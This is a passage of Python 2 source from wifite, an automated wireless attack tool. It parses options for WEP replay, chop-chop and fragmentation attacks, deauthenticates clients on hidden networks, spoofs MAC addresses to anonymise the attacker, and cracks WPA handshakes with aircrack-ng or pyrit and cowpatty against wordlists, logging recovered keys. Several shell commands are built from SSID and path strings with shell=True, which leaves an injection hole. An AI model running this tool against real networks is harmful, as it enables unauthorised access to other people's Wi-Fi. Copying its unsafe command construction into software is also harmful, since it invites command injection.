sys.exit(0)
i=i+1
elif a == '-autocrack' or a == '--autocrack':
try:
AUTOCRACK=int(args[i+1])
print GR+'[+] '+W+'set AUTOCRACK: '+G+str(AUTOCRACK)+' ivs'
except Exception:
print R+'[!] error! invalid arguments'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
i=i+1
elif a == '-py' or a == '--pyrit':
# crack with pyrit
CRACK_WITH_PYRIT=True
print GR+'[+] '+W+'cracking with pyrit + cowpatty '+G+'enabled'+W
elif a == '-pps' or a == '--pps':
try:
WEP_PPS=int(args[i+1])
print GR+'[+] '+W+'set WEP replay pps: '+G+str(WEP_PPS)+'/sec'
except Exception:
print R+'[!] error! invalid arguments'
print R+'[!] the program will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
i=i+1
elif a == '-keepmac' or a == '--keep-mac':
CHANGE_MAC=False
print GR+'[+] '+W+'change mac to WEP client '+O+'disabled'+W
elif a == '-mac' or a == '--change-mac':
# keep this here, for the old-school users that still use '-mac' option
print GR+'[+] '+W+'change mac to WEP client '+G+'enabled'+W
elif a == '-noarp' or a == '--no-arp':
WEP_ARP=False
print GR+'[+] '+W+'arp-replay attack '+G+'disabled'+W
elif a == '-nochop' or a == '--no-chop':
WEP_CHOP=False
print GR+'[+] '+W+'chop-chop attack '+G+'disabled'+W
elif a == '-nofrag' or a == '--no-frag':
WEP_FRAG=False
print GR+'[+] '+W+'fragmentation attack '+G+'disabled'+W
elif a == '-no0841' or a == '--no-p0841':
WEP_P0841=False
print GR+'[+] '+W+'-p 0841 attack '+G+'disabled'+W
elif a == '-console' or a == '--console':
print GR+'[+] '+G+'console mode'+W+' activated'
elif a == '-f' or a == '--force-fake':
print GR+'[+] '+W+'continue WEP attack despite fake-auth failure '+O+'enabled'+W+''
EXIT_IF_NO_FAKEAUTH=False
elif a == '-nod' or a == '--no-deauth':
print GR+'[+] '+W+'deauthentication of hidden networks '+O+'disabled'+W+''
NO_HIDDEN_DEAUTH=True
elif a == '-nostrip' or a == '--no-strip':
print GR+'[+] '+W+'wpa handshake stripping '+O+'disabled'+W+''
STRIP_HANDSHAKE=False
elif a == '-anon' or a == '--anonymous' or a == '--anon':
ANONYMOUS_MAC=random_mac()
print GR+'[+] '+W+'anonymous mac address '+G+'enabled'+W+''
elif a == 'xterm':
USING_XTERM = True
i += 1
if WEP==False and WPA==False:
print R+'[!] error! both WPA and WEP are diabled!'
print R+'[!] those are the only two kinds of networks this program can attack'
print R+'[!] program will exit now'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
############################################################################### logit
def logit(txt):
""" saves txt to both file log and list log
prepends date and time to the file log entry"""
THE_LOG.append(txt)
f = open('log.txt', 'a')
f.write(datetime()+' ' + txt +'\n')
f.close()
def sqllogit(enc, essid, bssid, key, ascii=""):
db = sqlite3.connect('log.db', isolation_level=None)
db.execute("""CREATE TABLE IF NOT EXISTS log(id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp int, enc text, essid text, bssid text, key text, ascii text)""")
db.execute("""INSERT INTO log (timestamp, enc, essid, bssid, key, ascii) VALUES (%i, '%s', '%s', '%s', '%s', '%s')""" % (time.time(), enc.replace("'",""), essid.replace("'",""), bssid.replace("'",""), key.replace("'",""), ascii.replace("'","")))
db.close()
def updatesqlstatus(text):
db = sqlite3.connect('log.db', isolation_level=None)
db.execute("""CREATE TABLE IF NOT EXISTS status(id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp int, status text)""")
db.execute("""INSERT INTO status (timestamp, status) VALUES (%i, '%s')""" % (time.time(), text.replace("'","")))
db.close()
def updateivps(ivsps):
db = sqlite3.connect('log.db', isolation_level=None)
db.execute("""CREATE TABLE IF NOT EXISTS ivsps(id INTEGER PRIMARY KEY, timestamp int, ivsps int)""")
db.execute("""REPLACE INTO ivsps (id, timestamp, ivsps) VALUES (1, %i, %i)""" % (time.time(), ivsps))
db.close()
############################################################################### halp
def halp(full=False):
""" displays the help screen
if full=True, prints the full help (detailed info)
"""
global THEFILE
print GR+'Usage: '+W+'python '+THEFILE+' '+G+'[SETTINGS] [FILTERS]\n'
if not full:
print G+' -help '+GR+'display the full help screen\n'
print G+' -console '+GR+'console/interactive mode (non-GUI)\n'
print G+' -upgrade '+GR+'download/install latest revision\n'
else:
print G+' -upgrade\t '+GR+'download/install latest revision\n'
print GR+' SETTINGS'
#IFACE
if full:
print G+' -i, --iface\t'+GR+' e.g. -i wlan0'
print ' \t wireless interface'
print ' \t the program automatically selects a wifi device in monitor mode'
print ' \t prompts for input if no monitor-mode devices are found'
print ' \t using this switch avoids the prompt\n'
else:
print G+' -i\t '+GR+'wireless interface'
#ANON
if full:
print G+' --anon \t '+GR+' anonymizes the attack'
print ' \t before beginning the attack, your MAC address is changed to'
print ' \t a random MAC address. after the attack is complete, the MAC'
print ' \t is then changed back to its original address\n'
else:
print G+' -anon\t '+GR+'anonymizer: change to random mac address before attacking'
# SSID DEAUTH
if full:
#-nod --no-deauth
print G+' --no-deauth\t '+GR+'disables the deauthing of clients on hidden APs'
print ' \t by default, wifite will deauth clients connected to hidden APs'
print ' \t *wifite only deauths hidden SSID clients in FIXED CHANNEL MODE*\n'
else:
print G+' -nod '+GR+'do not deauth hidden SSIDs while scanning on a fixed channel'
#NO COLORS
if full:
print G+' --no-color\t '+GR+'do not display annoying colors (use system colors)\n'
else:
print G+' -nocolor '+GR+'do not use colored text (use system colors)'
#TWCLIENTS
if full:
print G+' --timewaitingclients\t'+GR+' e.g. --timewaitingclients 30'
print ' \t set the time in seconds waiting for clients\n'
else:
print G+' -twclients '+GR+'set the time in seconds waiting for clients'
#SCANWAIT
if full:
print G+' --scan-wait\t'+GR+' e.g. --scan-wait 20'
print ' \t set the time in seconds to wait for targets\n'
else:
print G+' -scanw '+GR+'set the time in seconds to wait for targets\n'
print GR+'\n WPA SETTINGS'
#DICT
if full:
print G+' -d, --dict\t'+GR+' e.g. -d /pentest/passwords/wordlists/darkc0de.lst'
print ' \t dictionary file for WPA cracking'
print ' \t the program will prompt for a wordlist file if any WPA targets'
print ' \t are selected for attack. using -d avoids this prompt'
print ' \t defaults to "wordlist.txt" found in same directory as wifite.py'
print ' \t e.g. -d "none"'
print ' \t does not attempt to crack WPA handshakes'
print ' \t only captures the wpa handshake and backs it up to hs/\n'
else:
print G+' -d\t '+GR+'dictionary file, for WPA handshake cracking'
#WPAWAIT
if full:
print G+' --wpa-wait\t'+GR+' e.g. -wpaw 15'
print ' \t sets the maximum time to wait for a wpa handshake (in minutes)'
print ' \t enter "0" to wait endlessly\n'
else:
print G+' -wpaw\t '+GR+'time to wait for wpa handshake (in minutes)'
# handshake strip
if full:
print G+' --no-strip\t'+GR+' strip non-handshake packets from .cap file'
print ' \t uses pyrit (or tshark) to strip out unnecessary packets.'
print ' \t greatly reduces the size of handshkae cap files\n'
else:
print G+' -nostrip '+GR+'strip WPA handshake from cap files (reduce .cap size)'
# crack using pyrit/cowpatty
if full:
print G+' --pyrit\t'+GR+' use pyrit + cowpatty to crack WPA handshakes'
print ' \t passes hashes from pyrit to cowpatty'
print ' \t can be much faster (and more reliable) than aircrack-ng\n'
else:
print G+' -py\t '+GR+'crack WPA using pyrit + cowpatty'
print GR+'\n WEP SETTINGS'
#WEPWAIT
if full:
print G+' --wep-wait\t'+GR+' e.g. -wepw 10'
print ' \t sets the maximum time to wait for each WEP attack.'
print ' \t depending on the settings, this could take a long time'
print ' \t if the wait is 10 min, then EACH METHOD of attack gets 10 min'
print ' \t if you have all 4 WEP attacks selected, it would take 40 min'
print ' \t enter "0" to wait endlessly\n'
else:
print G+' -wepw\t '+GR+'max time (in minutes) to capture/crack WEP key of each access point'
#PPS
if full:
print G+' --pps\t\t'+GR+' e.g. -pps 400'
print ' \t packets-per-second; only for WEP attacks.'
print ' \t more pps means more captured IVs, which means a faster crack'
print ' \t select smaller pps for weaker wifi cards and distant APs\n'
else:
print G+' -pps\t '+GR+'packets-per-second (for WEP replay attacks)'
#(don't) CHANGE_MAC
if full:
print G+' --keep-mac\t'+GR+' do not change MAC address of wireless interface\n'
else:
print G+' -keepmac '+GR+'do NOT change mac address of wireless interface'
#wep: no-attack
if full:
print G+' --no-arp\t'+GR+' WEP disables arp-replay attack'
print G+' --no-chop\t'+GR+' WEP disables chop-chop attack'
print G+' --no-frag\t'+GR+' WEP disables fragmentation attack'
print G+' --no-p0841\t'+GR+' WEP disables -p0841 attack\n'
else:
print G+' -noarp '+GR+'disables arp-replay attack'
print G+' -nochop '+GR+'disables fragmentation attack'
print G+' -nofrag '+GR+'disables chop-chop attack'
print G+' -no0841 '+GR+'disables -p0841 attack'
#WEP FORCE FAKE-AUTH (cancels attack if failed)
if full:
print G+' --force-fake\t '+GR+'during a WEP attack, if fake-auth fails, keep going'
print ' \t most WEP attacks require fake-authentication'
print ' \t the default is to stop the attack when fake-auth fails\n'
else:
print G+' -f '+GR+'force WEP attacks to continue if fake-authentication fails'
#AUTOCRACK
if full:
print G+' --autocrack\t'+GR+' e.g. -autocrack 500'
print ' \t set minimun quantity of ivs to start cracking\n'
else:
print G+' -autocrack '+GR+'set minimun quantity of ivs to start cracking'
print GR+'\n FILTERS'
#ESSID
if full:
print G+' -e, --essid\t'+GR+' e.g. -e "2WIRE759"'
print ' \t essid (name) of the access point (router)'
print ' \t this forces a narrow attack; no other networks will be attacked\n'
#print ' \t e.g. -e "all"'
#print ' \t using the essid "all" results in every network'
#print ' \t being targeted and attacked. this is not recommended'
#print ' \t because most attacks are useless from far away!\n'
else:
print G+' -e\t '+GR+'ssid (name) of the access point you want to attack'
#ALL
if full:
print G+' -all, --all\t'+GR+' target and attack all access points found'
print ' \t this is dangerous because most attacks require injection,'
print ' \t most wifi cards cann;t inject unless they are close to the AP\n'
else:
print G+' -all\t '+GR+'target and attack access points found'
#POWER
if full:
print G+' -p, --power\t'+GR+' e.g. -p 55'
print ' \t minimum power level (dB)'
print ' \t this is similar to the "-e all" option, except it filters APs'
print ' \t that are too far away for the attacks to be useful\n'
else:
print G+' -p\t '+GR+'filters minimum power level (dB) to attack; ignores lower levels'
#CHANNEL
if full:
print G+' -c, --channel\t'+GR+' e.g. -c 6'
print ' \t channel to scan'
print ' \t not using this switch defaults to all possible channels'
print ' \t only use -c or --channel if you know the channel to listen on\n'
else:
print G+' -c\t '+GR+'channel to scan (default is all channels)'
#NOWPA
if full:
print G+' --no-wpa\t'+GR+' ignores all WPA-encrypted networks'
print ' \t useful when using --power or "-e all" attacks\n'
else:
print G+' -nowpa '+GR+'do NOT scan for WPA (default is on)'
#NOWEP
if full:
print G+' --no-wep\t'+GR+' ignores all WEP-encrypted networks'
print ' \t useful when using filtered attacks like -p or "-e all"\n'
else:
print G+' -nowep '+GR+'do NOT scan for WEP (default is on)'
############################################################################### find_mon
def find_mon():
"""
finds any wireless devices running in monitor mode
if no monitor-mode devices are found, it asks for a device to put into monitor mode
if only one monitor-mode device is found, it is used
if multiple monitor-mode devices are found, it asks to pick one
"""
global IFACE, TEMPDIR, USING_XTERM
ifaces=[]
print GR+'[+] '+W+'searching for devices in monitor mode...'
proc=subprocess.Popen(['iwconfig'], stdout=subprocess.PIPE,stderr=subprocess.PIPE)
txt=proc.communicate()[0]
lines=txt.split('\n')
current_iface=''
for line in lines:
if not line.startswith(' ') and line[0:line.find(' ')] != '':
current_iface=line[0:line.find(' ')]
if line.find('Mode:Monitor') != -1:
ifaces.append(current_iface)
if len(ifaces) == 0 or ifaces == []:
print GR+'[!] '+O+'no wireless interfaces are in monitor mode!'
proc=subprocess.Popen(['airmon-ng'], stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
txt=proc.communicate()[0]
lines=txt.split('\n')
poss=[]
for line in lines:
if line != '' and line.find('Interface') == -1:
poss.append(line)
i=len(poss)-1
if poss[i][:poss[i].find('\t')].lower() == IFACE.lower():
poss=[poss[i][:poss[i].find('\t')]]
break
if len(poss) == 0:
print R+'[!] no devices are capable of monitor mode!'
print R+'[!] perhaps you need to install new drivers'
print R+'[+] this program will now exit.'
print W
if USING_XTERM:
print GR+'[!] '+W+'close this window at any time to exit wifite'+W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
elif len(poss) == 1 and IFACE != '' and poss[0].lower() == IFACE.lower():
print GR+'[+] '+W+'putting "'+G + poss[0] + W+'" into monitor mode...'
subprocess.call(['airmon-ng','start',poss[0]], stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
IFACE=''
find_mon() # recursive call
return
else:
print GR+'\n[+] '+W+'select which device you want to put into monitor mode:'
for p in xrange(0, len(poss)):
print ' '+G + str(p + 1) + W+'. ' + poss[p]
err=True
while err==True:
try:
print GR+'[+] '+W+'select the wifi interface (between '+G+'1'+W+' and '+G + str(len(poss)) + W+'):'+G,
num=int(raw_input())
if num >= 1 and num <= len(poss):
err=False
except ValueError:
err=True
poss[num-1] = poss[num-1][:poss[num-1].find('\t')]
print GR+'[+] '+W+'putting "'+G + poss[num-1] + W+'" into monitor mode...'
updatesqlstatus('[+] putting "' + poss[num-1] + '" into monitor mode...')
subprocess.call(['airmon-ng','start',poss[num-1]], stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
find_mon() # recursive call
return
else: # lif len(ifaces) == 1:
# make sure the iface they want to use is already in monitor mode
if IFACE != '':
for i in ifaces:
if i == IFACE:
print GR+'[+] '+W+'using interface "'+G+ IFACE +W+'"\n'
updatesqlstatus('[+] using interface "'+ IFACE +'"')
return
IFACE=ifaces[0] # only one interface in monitor mode, we know which one it is
print GR+'[+] '+W+'defaulting to interface "'+G+ IFACE +W+'"\n'
return
print GR+'[+] '+W+'using interface "'+G+ IFACE +W+'"\n'
updatesqlstatus('[+] using interface "'+ IFACE +'"')
############################################################################### getmac()
def getmac():
""" returns the MAC address of the current interface """
global IFACE
proc_mac = subprocess.Popen(['ifconfig',IFACE], stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))
proc_mac.wait()
lines = proc_mac.communicate()[0]
if lines == None:
return 'NO MAC'
for line in lines:
line = lines.split('\n')[0]
line=line[line.find('HWaddr ')+7:]
if line.find('-') != -1:
macnum=line.split('-')
mac=''
for i in xrange(0, len(macnum)):
mac=mac+macnum[i]
if i < 5:
mac=mac+':'
else:
break
return mac
else:
return line.strip()
############################################################################### wpa_crack
def wpa_crack(index):
"""
index = the index of WPA_CRACK list we are cracking
as we grab handshakes during the inital attacks, the handshakes are stored in WPA_CRACK
this opens aircrack (in the background) and tries to crack the WPA handshakes
i don't have a way to get the # of tries per second or total, so it just outputs "cracking" every 5 seconds
maybe it could do something else...
"""
# check if we are going to crack with pyrit, and if so, if we even can.
if CRACK_WITH_PYRIT == True:
proc_pyrit = subprocess.Popen(['which','pyrit'],stdout=subprocess.PIPE)
if proc_pyrit.communicate()[0].strip() != '':
proc_cowpatty = subprocess.Popen(['which','cowpatty'],stdout=subprocess.PIPE)
if proc_cowpatty.communicate()[0].strip() != '':
wpa_crack_pyrit(index)
return
global DICT, WPA_CRACK, TEMPDIR, CRACKED
filename=WPA_CRACK[index][0]
ssid =WPA_CRACK[index][1]
bssid =WPA_CRACK[index][2]
print GR+'['+sec2hms(0)+'] '+W+'started cracking WPA key for "'+G + ssid + W+'" using '+G+'aircrack-ng'+W+';',
# calculate number of passwords we will try
proc_pmk=subprocess.Popen(['wc','-l',DICT], stdout=subprocess.PIPE, stderr=open(os.devnull,'w'))
txt=proc_pmk.communicate()[0]
if txt != None:
txt=txt.strip().split(' ')[0]
if txt != '':
total_pmks=int(txt.strip())+1
print GR+'\n['+sec2hms(0)+'] '+W+'using '+G+DICT+W+' ('+G + str(total_pmks) +' passwords'+W+')'
else:
total_pmks=0
print ''
cracked=''
proc_crack=''
START_TIME=time.time()
try:
subprocess.call(['rm','-rf',TEMPDIR+'wpakey.txt',TEMPDIR+'crackout.tmp'])
time.sleep(0.1)
cmd = 'aircrack-ng -a 2 -w '+DICT+' -l '+TEMPDIR+'wpakey.txt '+filename+' >> '+TEMPDIR+'crackout.tmp'
proc_crack = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'), shell=True)
ks='0'
pmks='0'
while (proc_crack.poll() == None):
time.sleep(1)
print '\r'+GR+'['+sec2hms(time.time() - START_TIME)+'] '+W+'cracking;',
f=open(TEMPDIR+'crackout.tmp')
txt=f.read()
if txt != '' and txt != None:
ks=''
# find the keys per second
last=txt.rfind(' k/s)')
first=txt.rfind('(')
if last != -1 and first != -1:
first+=1
ks=txt[first:last]
if ks.strip() != '':
print G+str(ks)+W+' k/s;',
# find the total keys
last=txt.rfind(' keys tested')
first=txt.rfind('] ')
if last != -1 and first != -1:
first+=2
pmks=txt[first:last]
if pmks.strip() != '':
print G+str(pmks)+W+' keys total;',
if total_pmks != 0 and pmks != '':
print G+str(int(pmks) * 100 / total_pmks) + '%'+W,
# find the ETA
if ks.find('.') != -1 and pmks != '':
kps=int(ks[:ks.find('.')])
if kps > 0:
eta=int((total_pmks - int(pmks)) / kps)
print 'eta: ' + C+sec2hms(eta),
print ' '+W,
sys.stdout.flush()
# wipe the aircrack output file (keep it from getting too big)
subprocess.call('echo "" > '+TEMPDIR+'crackout.tmp',shell=True)
print '\r'+GR+'['+sec2hms(time.time() - START_TIME)+'] '+W+'cracking;',
print G+str(ks)+W+' k/s;',
print G+str(total_pmks)+W+' keys total;',
print G+'100%'+W,
print 'eta: '+C+'0:00:00 '+W
if os.path.exists(TEMPDIR+'wpakey.txt'):
f = open(TEMPDIR+'wpakey.txt','r')
cracked=f.readlines()[0]
print '\n'+GR+'['+sec2hms(time.time()-START_TIME)+'] '+G+'cracked "' + ssid + '"! the key is: "'+C+cracked+G+'"'
logit('cracked WPA key for "' + ssid + '" (' + bssid + '), the key is: "' + cracked + '"')
sqllogit('WPA', ssid, bssid, cracked)
CRACKED += 1
else:
print GR+'\n['+sec2hms(time.time()-START_TIME)+'] '+W+'wordlist crack complete; '+O+'WPA key for "' + ssid + '" was not found in the dictionary'
except KeyboardInterrupt:
print R+'\n['+sec2hms(time.time()-START_TIME)+'] '+O+'cracking interrupted\n'+W
# check if there's other files to crack (i < len(WPA_CRACK))
# if there are, ask if they want to start cracking the next handshake, or exit
if index != len(WPA_CRACK) - 1:
# there are more handshakes to crack! prompt a menu...
menu= G+' [c]ontinue cracking other handshakes ('+str(len(WPA_CRACK)-index-1)+' remaining)\n'
menu+=R+' [e]xit the program completely'
print GR+'\n[+] '+W+'please select a menu option below:'
print menu
print GR+'[+] '+W+'enter option ('+G+'c'+W+' or '+R+'e'+W+'):',
typed=raw_input()
if typed == 'e':
WPA_CRACK.append(['','',''])
try:
os.kill(proc_crack.pid, signal.SIGTERM)
except OSError:
pass
except UnboundLocalError:
pass
# for some reason (maybe the stream pointer?) aircrack doesn't stay dead.
subprocess.call(['killall','aircrack-ng'], stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
# remove the temp file
subprocess.call(['rm','-rf',TEMPDIR+'crackout.tmp'])
def wpa_crack_pyrit(index):
global DICT, WPA_CRACK, TEMPDIR, CRACKED
filename=WPA_CRACK[index][0]
ssid =WPA_CRACK[index][1]
bssid =WPA_CRACK[index][2]
is_it_cracked = False
print GR+'['+sec2hms(0)+'] '+W+'started cracking WPA key for "'+G + ssid + W+'" using '+G+'pyrit'+W+';',
# calculate number of passwords we will try
proc_pmk=subprocess.Popen(['wc','-l',DICT], stdout=subprocess.PIPE, stderr=open(os.devnull,'w'))
txt=proc_pmk.communicate()[0]
if txt != None:
txt=txt.strip().split(' ')[0]
if txt != '':
total_pmks=int(txt.strip())+1
print GR+'\n['+sec2hms(0)+'] '+W+'using '+G+DICT+W+' ('+G + str(total_pmks) +' passwords'+W+')'
else:
total_pmks=0
print ''
cracked=''
proc_crack=''
START_TIME=time.time()
try:
subprocess.call(['rm','-rf',TEMPDIR+'crackout.tmp'])
time.sleep(0.1)
cmd = 'pyrit -e "' + ssid + '" -i "' + DICT + '" -o - passthrough | ' + \
'cowpatty -d - -r ' + filename + ' -s ' + ssid + \
' '+TEMPDIR+'crackout.tmp'
#cmd = 'aircrack-ng -a 2 -w '+DICT+' -l '+TEMPDIR+'wpakey.txt '+filename+' >> '+TEMPDIR+'crackout.tmp'
proc_crack = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'), shell=True)
ks='0'
pmks='0'
while (proc_crack.poll() == None):
time.sleep(1)
print '\r'+GR+'['+sec2hms(time.time() - START_TIME)+'] '+W+'cracking;',
f=open(TEMPDIR+'crackout.tmp')
txt=f.read()
if txt != '' and txt != None:
# check for crack
passk = txt.find('The PSK is "')
if passk != -1:
# key found!
passk = passk + len('The PSK is "')
passk2 = txt.find('"', passk + 1)
thepass = txt[passk:passk2]
print '\n'+GR+'['+sec2hms(time.time()-START_TIME)+'] '+G+'cracked "' + ssid + '"! the key is: "'+C+thepass+G+'"'
logit('cracked WPA key for "' + ssid + '" (' + bssid + '), the key is: "' + thepass + '"')
CRACKED += 1
is_it_cracked = True
break
current=''
# find the keys per second
last=txt.rfind('key no. ')
lastc = txt.find(':', last)
if last != -1:
current = txt[last+len('key no. '):lastc]
print G+str(current)+W+' keys tried;',
try:
curnum = int(current)
print G+str(curnum * 100 / total_pmks) + '%'+W,
except ValueError:
curnum = -1
sys.stdout.flush()
# wipe the aircrack output file (keep it from getting too big)
subprocess.call('echo "" > '+TEMPDIR+'crackout.tmp',shell=True)
f=open(TEMPDIR+'crackout.tmp')
txt=f.read()
if txt != '' and txt != None and is_it_cracked == False:
# check for crack
passk = txt.find('The PSK is "')
if passk != -1:
# key found!
passk = passk + len('The PSK is "')
passk2 = txt.find('"', passk + 1)
thepass = txt[passk:passk2]
print '\n'+GR+'['+sec2hms(time.time()-START_TIME)+'] '+G+'cracked "' + ssid + '"! the key is: "'+C+thepass+G+'"'
logit('cracked WPA key for "' + ssid + '" (' + bssid + '), the key is: "' + thepass + '"')
CRACKED += 1
is_it_cracked = True
if is_it_cracked == False:
print GR+'\n['+sec2hms(time.time()-START_TIME)+'] '+W+'wordlist crack complete; '+O+'WPA key for "' + ssid + '" was not found in the dictionary'
print '\n'
except KeyboardInterrupt:
print R+'\n['+sec2hms(time.time()-START_TIME)+'] '+O+'cracking interrupted\n'+W
# check if there's other files to crack (i < len(WPA_CRACK))
# if there are, ask if they want to start cracking the next handshake, or exit
if index != len(WPA_CRACK) - 1:
# there are more handshakes to crack! prompt a menu...
menu= G+' [c]ontinue cracking other handshakes ('+str(len(WPA_CRACK)-index-1)+' remaining)\n'
menu+=R+' [e]xit the program completely'
print GR+'\n[+] '+W+'please select a menu option below:'
print menu
print GR+'[+] '+W+'enter option ('+G+'c'+W+' or '+R+'e'+W+'):',
typed=raw_input()
if typed == 'e':
WPA_CRACK.append(['','',''])
try:
os.kill(proc_crack.pid, signal.SIGTERM)
except OSError:
pass
except UnboundLocalError:
pass
# kill pyrit (just in case)
subprocess.call(['killall','pyrit'], stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
# remove the temp file
subprocess.call(['rm','-rf',TEMPDIR+'crackout.tmp'])
############################################################################### dict_check
def dict_check():
""" checks if user has specified a dictionary
if not, it checks the current ATTACK list for any targets that may be WPA
if it finds any WPA, it immediately prompts the user for a dictionary
user has the option to ctrl+C or type 'none' to avoid cracking
if DICT is 'none', then reset DICT to '' and move on
"""
global DICT, ATTACK, TARGETS
if DICT == '':
for x in ATTACK:
if TARGETS[x-1][2].startswith('WPA'):
# we don't have a dictionary and the user wants to crack WPA
print GR+'\n[+] '+W+'in order to crack WPA, you will need to '+O+'enter a dictionary file'
ent = 'blahnotafile'
#try:
while 1:
print GR+'[+] '+W+'enter the path to the dictionary to use, or "'+G+'none'+W+'" to not crack at all:'
ent = raw_input()
if ent == 'none' or ent == '"none"':
break
elif not os.path.exists(ent):
print R+'[!] error! path not found: '+O+ent+R+'; please try again\n'
else:
DICT=ent
print GR+'[+] '+W+'using "'+G+DICT+W+'" as wpa wordlist dictionary'
break
#except KeyboardInterrupt:
# print GR+'\n[+] '+W+'no dictionary file entered; continuing anyway'
break
elif DICT == 'none':
DICT=''
############################################################################### attack
def attack(index):
""" checks if target is WPA or WEP, forwards to the proper method """
print GR+'\n[+] '+W+'attacking "'+G + TARGETS[index][8] + W+'"...'
updatesqlstatus('[+] attacking "' + TARGETS[index][8] + '"...')
if TARGETS[index][2].startswith('WPA'):
attack_wpa(index)
elif TARGETS[index][2].startswith('WEP'):
attack_wep_all(index)
else:
print R+'\n[!] unknown encryption type: '+O + TARGETS[index][2] + R+'\n'
############################################################################### is_shared
def is_shared(index):
""" uses aireplay fake-auth to determine if an AP uses SKA or not
returns True if AP uses SKA, False otherwise """
global TARGETS, IFACE
cmd=['aireplay-ng','-1','0',TARGETS[index][0],'-T','1',IFACE]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'))
txt=proc.communicate()[0]
if txt == None:
return False
elif txt.lower().find('shared key auth') != -1:
return True
else:
return False
############################################################################### attack_wep_all
def attack_wep_all(index):
""" attacks target using all wep attack methods """
global TARGETS, CLIENTS, IFACE, WEP_MAXWAIT, WEP_PPS
global THIS_MAC, WEP_ARP, WEP_CHOP, WEP_FRAG, WEP_P0841
global AUTOCRACK, CRACKED, OLD_MAC, TEMPDIR, EXIT_IF_NO_FAKEAUTH
global SKIP_TO_WPA, WPA_CRACK, EXIT_PROGRAM # to exit early
global HAS_INTEL4965, THEFILE, CHANGE_MAC, DICT
# to keep track of how long we are taking
TIME_START=time.time()
# set up lists so we can run all attacks in this method
weps =[WEP_ARP, WEP_CHOP, WEP_FRAG, WEP_P0841]
wepname=['arp replay','chop-chop','fragmentation','-p0841']
# if there's no selected attacks, stop
if weps[0]==False and weps[1]==False and weps[2]==False and weps[3]==False:
print R+'[!] no wep attacks are selected; unable to attack!'
print R+'[!] edit '+THEFILE+' so these are equal to True: WEP_ARP, WEP_FRAG, WEP_CHOP, WEP_P0841'
print W
return
# flags
stop_attack=False
started_crack=False
EXIT_PROGRAM=False
OLD_MAC=''
# set the client to a client, or this mac address if there's no clients
client=CLIENTS.get(TARGETS[index][0], THIS_MAC)
# kill all backup IVS files... just in case
subprocess.call('rm -rf '+TEMPDIR+'wep-*.ivs', shell=True)
#subprocess.call('rm -rf wep-*.cap', shell=True)
# delete airodump log files
subprocess.call(['rm','-rf',TEMPDIR+'wep-01.cap',TEMPDIR+'wep-01.csv',TEMPDIR+'wep-01.kismet.csv',\
TEMPDIR+'wep-01.kismet.netxml',TEMPDIR+'wep-01.ivs'])
subprocess.call(['rm','-rf',TEMPDIR+'wepkey.txt'])
time.sleep(0.1)
# open airodump to capture packets
cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1], '--bssid',TARGETS[index][0], \
'--output-format','csv,ivs',IFACE]
proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
try:
# if we don't have a client, OR it's using SKA (have to fake-auth anyway)
if client == THIS_MAC or is_shared(index) or CHANGE_MAC == False:
# fake-authenticate with the router
faked=False
if not HAS_INTEL4965:
for i in xrange(1, 4):
time.sleep(1)
print '\r'+GR+'['+get_time(WEP_MAXWAIT,TIME_START)+\
'] '+W+'attempting '+O+'fake-authentication'+W+' ('+str(i)+'/3)',
sys.stdout.flush()
time.sleep(0.3)
faked=attack_fakeauth(index)
if faked:
break
else:
print GR+'[+] '+R+'killing '+W+'airodump-ng'
# wpa_supplicant workaround requires airodump-ng be closed.
try:
os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng
except OSError:
pass
except UnboundLocalError:
pass
subprocess.call(['killall','airodump-ng'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w'))
time.sleep(0.5)
print GR+'[+] '+W+'stopping '+O+'mon0'
subprocess.call(['airmon-ng','stop','mon0'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w'))
print ''+GR+'['+get_time(WEP_MAXWAIT,TIME_START)+'] '+O+'attempting intel 4965 workaround'+W
faked=attack_fakeauth_intel(index)
print GR+'[+] '+W+'starting '+O+'wlan1'+W+' on channel '+O+str(TARGETS[index][1])+W
subprocess.call(['airmon-ng','start','wlan0',str(TARGETS[index][1])], \
stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w'))
print GR+'[+] '+R+'starting '+W+'airodump-ng'
# open airodump to capture packets
cmd = ['airodump-ng','-w',TEMPDIR+'wep','-c',TARGETS[index][1], '--bssid',TARGETS[index][0], \
'--output-format','csv,ivs',IFACE]
proc_read = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
if faked:
# fake auth was successful
print GR+'\r['+get_time(WEP_MAXWAIT,TIME_START)+'] '+G+'fake authentication successful :) '
if CHANGE_MAC == False:
client=THIS_MAC
else:
# fake auth was unsuccessful (SKA?)
print GR+'\r['+get_time(WEP_MAXWAIT, TIME_START)+'] '+R+'fake authentication unsuccessful :( '
if EXIT_IF_NO_FAKEAUTH:
print GR+'['+get_time(WEP_MAXWAIT, TIME_START)+'] '+R+'exiting attack...'
# kill airodump
try:
os.kill(proc_read.pid, signal.SIGTERM) # airodump-ng
except OSError:
pass
except UnboundLocalError:
pass
subprocess.call(['killall','airodump-ng'], stdout=open(os.devnull,'w'), stderr=open(os.devnull,'w'))
return
else:
print GR+'['+get_time(WEP_MAXWAIT, TIME_START)+'] '+O+\
'continuing attack anyway (odds of success are low)'+W
else:
# if we have a client and it's not SKA, we can just change our MAC
# kill airodump, we can't change our MAC while airodump is running
try:
